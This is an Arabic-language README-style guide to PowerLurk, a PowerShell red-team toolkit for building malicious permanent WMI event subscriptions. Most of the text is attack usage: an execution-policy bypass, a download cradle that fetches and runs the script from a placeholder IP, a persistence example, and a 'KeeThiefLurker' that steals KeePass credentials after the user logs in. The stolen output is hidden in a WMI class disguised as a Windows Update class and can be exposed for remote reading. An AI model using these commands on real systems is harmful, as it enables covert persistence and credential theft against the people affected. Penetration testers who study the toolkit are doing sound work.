
أحداث WMI الخبيثة باستخدام PowerShell
PowerLurk هي مجموعة أدوات PowerShell لبناء اشتراكات أحداث WMI خبيثة. الهدف هو تسهيل تشغيل أحداث WMI أثناء اختبار الاختراق أو جولة الفريق الأحمر. يُرجى الاطلاع على مقالتي Creeping on Users with WMI Events: Introducing PowerLurk لمزيد من المعلومات التفصيلية: https://pentestarmoury.com/2016/07/13/151/
لاستخدام PowerLurk، يجب استيراد وحدة PowerLurk.ps1 إلى مثيل PowerShell الخاص بك. يمكن القيام بذلك بعدة طرق:
الاستيراد محليًا
PS> powershell.exe -NoP -Exec ByPass -C Import-Module c:\\temp\\PowerLurk.ps1
تنزيل Cradle
PS> powershell.exe -NoP -C "IEX (New-Object Net.WebClient).DownloadString('http://<IP>/PowerLurk.ps1'); Get-WmiEvent"
بشكل افتراضي، يقوم Get-WmiEvent بالاستعلام عن WMI لجميع مثيلات __FilterToConsumerBinding والعناصر المرتبطة بها __EventFilter و __EventConsumer. يمكن حذف الكائنات التي يتم إرجاعها عن طريق توجيهها إلى Remove-WmiObject.
إرجاع جميع كائنات حدث WMI النشطة باسم 'RedTeamEvent'
Get-WmiEvent -Name RedTeamEvent
Twitter - @sw4mp_fox حذف كائنات حدث WMI 'RedTeamEvent'
Get-WmiEvent -Name RedTeamEvent | Remove-WmiObject
هذا الأمر هو جوهر PowerLurk. يأخذ أمرًا أو سكريبت أو كتلة سكريبت كإجراء ومشغل معد مسبقًا، ثم ينشئ عامل تصفية WMI والمستهلك وربط FilterToConsumerBinding اللازم لاشتراك حدث WMI دائم كامل الوظائف. تم تكوين عدد من مشغلات أحداث WMI (أو عوامل التصفية) مسبقًا. يجب تحديد المشغل باستخدام المعامل -Trigger. هناك ثلاثة مستهلكين للاختيار من بينها: PermanentCommand و PermanentScript و LocalScriptBlock. مثال على الاستخدام:
كتابة معرف عملية notepad.exe إلى C:\temp\log.txt عند بدء تشغيل notepad.exe
Register-MaliciousWmiEvent -EventName LogNotepad -PermanentCommand “cmd.exe /c echo %ProcessId% >> c:\\temp\\log.txt” -Trigger ProcessStart -ProcessName notepad.exe
تنظيف حدث WMI الخبيث
Get-WmiEvent -Name LogNotepad | Remove-WmiObject
يقوم بإنشاء حدث WMI دائم سيقوم بتنفيذ KeeThief (راجع KeeThief من @Harmj0y على https://github.com/adaptivethreat/KeeThief) بعد 4 دقائق من بدء تشغيل عملية 'keepass'. يمنح ذلك الهدف الوقت لتسجيل الدخول إلى قاعدة بيانات KeePass الخاصة به.
يتم تخزين منطق KeeThief ومخرجاته إما في مساحة اسم وفئة WMI مخصصة أو في قيم سجل. إذا تم اختيار مساحة اسم وفئة WMI مخصصة، فلديك خيار تعريض مساحة الاسم هذه بحيث يمكن قراءتها عن بُعد بواسطة 'الجميع'. يمكن تخصيص اسم مسار السجل وأسماء القيم باستخدام المفاتيح المرتبطة؛ ومع ذلك، هذا اختياري حيث توجد إعدادات افتراضية. مثال على الاستخدام:
إضافة حدث KeeThiefLurker باستخدام تخزين فئة WMI
Add-KeeThiefLurker -EventName KeeThief -WMI
الاستعلام عن فئة WMI المخصصة
Get-WmiObject -Namespace root\software win32_WindowsUpdate -List
استخراج مخرجات KeeThief من فئة WMI
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($(Get-WmiObject -Namespace root\software win32_WindowsUpdate -List).Properties['Output'].value))
تنظيف KeeThiefLurker
Remove-KeeThiefLurker -EventName KeeThief -WMI
Twitter - @sw4mp_f0x